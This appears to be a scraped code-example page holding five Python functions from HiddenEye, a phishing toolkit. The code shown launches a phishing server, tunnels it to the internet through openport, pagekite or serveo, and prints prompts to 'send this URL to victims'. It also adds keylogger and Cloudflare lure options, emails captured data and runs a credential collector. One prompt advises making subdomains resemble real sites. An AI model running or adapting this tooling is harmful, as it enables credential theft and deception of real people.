Esempio n. 1
0
def exit_message(port=80):  # Message when HiddenEye exit
    choice = input(localization.lang_exit_message["choice"])
    choice.lower()
    if choice == 'r':
        run_command(['sudo', 'python3', 'HiddenEye.py'])
    elif choice == 'm':
        email_prompt.captured_data_email_confirmation(port)
    elif choice == 's':
        server_menu.server_selection(port)
    elif choice == 'x':
        run_command('clear')
        print(global_localization.hidden_eye_logo)
        print('                             ' + global_localization.by_darksec)
        print('                       ' +
              global_localization.official_website_link)
        print(localization.lang_exit_message["help_to_improve_this_tool"])
        print(localization.lang_exit_message["tell_if_page_got_broken"])
        print(
            localization.lang_exit_message["make_your_pull_request_or_issue"])
        print(localization.lang_exit_message["small_disclaimer_suggestion"])
        print(localization.lang_exit_message["forum_suggestion"])
        print(localization.lang_exit_message["financial_support"])
        print(localization.lang_exit_message["thank_you"])
    else:
        run_command('clear')
        return exit_message(port)
Esempio n. 2
0
    def manage_url(port):
        run_command('rm output.txt > /dev/null 2>&1')
        run_command('openport -K && openport %s > output.txt &' % (port))
        print(
            '{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'
            .format(default_palette[0], default_palette[4]))
        wait(
            20
        )  # Sleep time is important as the openport command takes some time to give response link.
        run_command(
            'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt'
        )  # Taking out the neccesary verification link from output txt file of openport (above).
        print(
            '{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'
            .format(default_palette[0], default_palette[4]))
        with open('openport.txt') as f:
            read_data = f.read()
            if 'openport.io/l/' in read_data:
                print('{0}[{1}*{0}] {1}Got Activation Link...'.format(
                    default_palette[0], default_palette[4]))
            else:
                print(
                    '{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '
                    .format(default_palette[0], default_palette[4]))
                output = open('output.txt', 'r')
                output = output.read()
                print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(
                    default_palette[0], default_palette[4], output))
                input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.
                      format(default_palette[0], default_palette[4]))
                server_menu.server_selection(port)

        urlFile = open('openport.txt', 'r')
        urltoverify = urlFile.read().strip()
        print(
            '{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n'
            .format(default_palette[0], default_palette[4]))
        print('{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} '.format(
            default_palette[0], default_palette[4], urltoverify))
        url = input(
            '\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} '.
            format(default_palette[0], default_palette[4]))
        wait(4)
        run_command('clear')
        print('''
	    {1}_  _ . ___  ___  ___ _  _  {0}___ _  _ ___{1}
	    |__| | ]  | ]  | |__ |\ |  {0}|__ \__/ |__{1}
	    |  | | ]__| ]__| |__ | \|  {0}|__  ||  |__{1}
	    {0}http://github.com/darksecdevelopers
	    {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''
              .format(default_palette[0], default_palette[4]))
        print(
            "\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n"
            .format(default_palette[0], default_palette[4], default_palette[3],
                    port, url))
Esempio n. 3
0
def start_pagekite(port):
    run_command('clear')
    print('''
		{1}_  _ . ___  ___  ___ _  _  {0}___ _  _ ___{1}
		|__| | ]  | ]  | |__ |\ |  {0}|__ \__/ |__{1}
		|  | | ]__| ]__| |__ | \|  {0}|__  ||  |__{1}
		{0}http://github.com/darksecdevelopers
		{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------'''
          .format(default_palette[0], default_palette[2]))
    if 256 == run_command('which python2 > /dev/null'):
        print('[*] Python2 not Installed, Pagekite Only Supports Python2!!')
        input('\n Press Enter To Try installing Python2 Now..')
        run_command('apt install python2')
        if 256 == run_command('which python2 > /dev/null'):
            run_command('clear')
            print(
                "\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}"
                .format(default_palette[0], default_palette[4]))
            wait(2)
            server_menu.server_selection(port)
        else:
            pass
    else:
        try:
            subdomain = input(
                "\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}"
                .format(default_palette[0], default_palette[2]))
            print(
                "\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}"
                .format(default_palette[0], default_palette[4]))
            print(
                "{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}"
                .format(default_palette[0], default_palette[4]))
            print(
                "{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}"
                .format(default_palette[0], default_palette[4]))
            print(
                "{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}"
                .format(default_palette[0], default_palette[4]))
            print(
                "{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}"
                .format(default_palette[0], default_palette[4]))
            input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".
                  format(default_palette[0], default_palette[4]))
            run_command(
                'python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'
                .format(port, subdomain))
        except KeyboardInterrupt:
            print('[!] Please Copy the Generated Link For Further Use')
            simple_informant.credentials_collector(port)
Esempio n. 4
0
def start_serveo(port):
    def is_online():
        serveo = requests.get("http://serveo.net")
        if "temporarily disabled" in serveo.text:
            return False
        return True

    def random(port):
        run_command('clear')
        # print('''
        # {1}_  _ . ___  ___  ___ _  _  {0}___ _  _ ___{1}
        # |__| | ]  | ]  | |__ |\ |  {0}|__ \__/ |__{1}
        # |  | | ]__| ]__| |__ | \|  {0}|__  ||  |__{1}
        # {0}http://github.com/darksecdevelopers
        # {0}** BY:DARKSEC ** \n\n-------------------------------
        #
        # ''')
        simple_informant.global_message()
        print(localization.lang_start_serveo["serveo_random_server"])

        # run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2> /dev/null &' % (port))
        run_command([
            'ssh', '-o', 'StrictHostKeyChecking=no', '-o',
            'ServerAliveInterval=60', '-R', 'localhost:{0}'.format(port),
            'serveo.net', '>', 'link.url'
        ],
                    stdout=DEVNULL,
                    stderr=DEVNULL)
        wait(8)
        try:
            output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",
                                  shell=True)
            url = output.decode("utf-8")
            # print("-\n
            # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}

            # ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
            # print("\n")
            print(localization.lang_start_serveo["send_this_url_suggestion"])
            print(localization.lang_start_localhost["localhost_url"] +
                  '127.0.0.1:' + port)
            print(localization.lang_start_serveo["serveo_url"] + url +
                  default_palette[4])
        except CalledProcessError:

            wait(4)
            run_command('clear')
            return random(port)

    def custom(port):

        # print('''
        # {1}_  _ . ___  ___  ___ _  _  {0}___ _  _ ___{1}
        # |__| | ]  | ]  | |__ |\ |  {0}|__ \__/ |__{1}
        # |  | | ]__| ]__| |__ | \|  {0}|__  ||  |__{1}
        # {0}http://github.com/darksecdevelopers
        # {0}** BY:DARKSEC ** \n\n-------------------------------

        # \n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n

        # \n
        # \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
        simple_informant.global_message()
        print(localization.lang_start_serveo["serveo_custom_server"])
        print(localization.
              lang_start_serveo["make_url_simmilar_to_real_suggestion"])
        print(localization.lang_start_serveo["insert_custom_subdomain"])

        lnk = input(global_localization.input_line)
        if not ".serveo.net" in lnk:
            lnk += ".serveo.net"
        else:
            pass
        # run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, port))
        run_command([
            'ssh', '-o', 'StrictHostKeyChecking=no', '-o',
            'ServerAliveInterval=60', '-o',
            'ServerAliveCountMax=60', '-R', '{0}:80:localhost:{1}'.format(
                lnk, port), 'serveo.net', '>', 'link.url'
        ],
                    stdout=DEVNULL,
                    stderr=DEVNULL)
        wait(7)
        try:
            output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",
                                  shell=True)
            url = output.decode("utf-8")
            run_command('clear')
            # print('''
            # {1}_  _ . ___  ___  ___ _  _  {0}___ _  _ ___{1}
            # |__| | ]  | ]  | |__ |\ |  {0}|__ \__/ |__{1}
            # |  | | ]__| ]__| |__ | \|  {0}|__  ||  |__{1}
            # {0}http://github.com/darksecdevelopers
            # {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}
            # \n-------------------------------'''.format(default_palette[0], default_palette[2]))
            simple_informant.global_message()
            print(localization.lang_start_serveo["serveo_custom_server"])

            # print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-
            # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
            # \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
            print(localization.lang_start_serveo["send_this_url_suggestion"])
            print(localization.lang_start_localhost["localhost_url"] +
                  '127.0.0.1:' + port)
            print(localization.lang_start_serveo["serveo_url"] + url +
                  default_palette[4])

            print("\n")

        except CalledProcessError:
            # print('''\n !!!\n
            #  !!!\n
            #  !! \n''')
            print(localization.lang_start_serveo["failed_to_get_domain"])
            print(localization.lang_start_serveo["suggestion_to_fix_issue"])
            print(localization.
                  lang_start_serveo["you_can_try_to_select_other_domain"])
            wait(4)
            run_command('clear')
            return custom(port)

    if is_online:
        # print('''
        #    {1}_  _ . ___  ___  ___ _  _  {0}___ _  _ ___{1}
        #    |__| | ]  | ]  | |__ |\ |  {0}|__ \__/ |__{1}
        #    |  | | ]__| ]__| |__ | \|  {0}|__  ||  |__{1}
        #    {0}http://github.com/darksecdevelopers
        #    {0}** BY:DARKSEC ** \n\n-------------------------------

        #
        #
        #  '''.format(default_palette[0], default_palette[2]))
        simple_informant.global_message()
        print(localization.lang_start_serveo["serveo_url_option_selection"])
        print(localization.lang_start_serveo["serveo_phishing_warning"])
        print(localization.lang_start_serveo["choose_type_of_url"])

        # print(" \n".format(default_palette[0], default_palette[2]))
        main_runner.print_sorted_as_menu(
            localization.lang_start_serveo["url_types"])
        choice = input(global_localization.input_line)
        run_command('clear')
        if choice == '1':

            custom(port)
        elif choice == '2':
            random(port)
        else:
            run_command('clear')
            return start_serveo(port)
    else:
        # print("Serveo is DOWN now, do you want to select another option? Y/n")
        print(localization.lang_start_serveo["serveo_is_down"])
        choice = input("HiddenEye >> ")
        choice = choice.lower()
        if choice == 'y':
            return server_menu.server_selection(port)
        else:
            return start_serveo(port)
Esempio n. 5
0
simple_informant.verify_connection()
# verCheck() # For now it's useless, i'll rewrite it later, after release.
simple_informant.check_php()
#checkLocalxpose()

#checkOpenport()
#checkPagekite()
#checkLT()

if __name__ == "__main__":
    try:
        main_runner.start_main_menu()
        keylogger.add_keylogger_prompt()
        cloudflare.add_cloudflare_prompt()
        email_prompt.captured_data_email_prompt()
        main_runner.enter_custom_redirecting_url()
        port = simple_informant.port_selector()

        ##############
        server_runner.start_server(port)
        server_menu.server_selection(port)

        multiprocessing.Process(target=server_runner.start_server,
                                args=(port, )).start()
        simple_informant.credentials_collector(port)

    except KeyboardInterrupt:
        port = '8080'  # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
        simple_informant.exit_message(port)
        exit()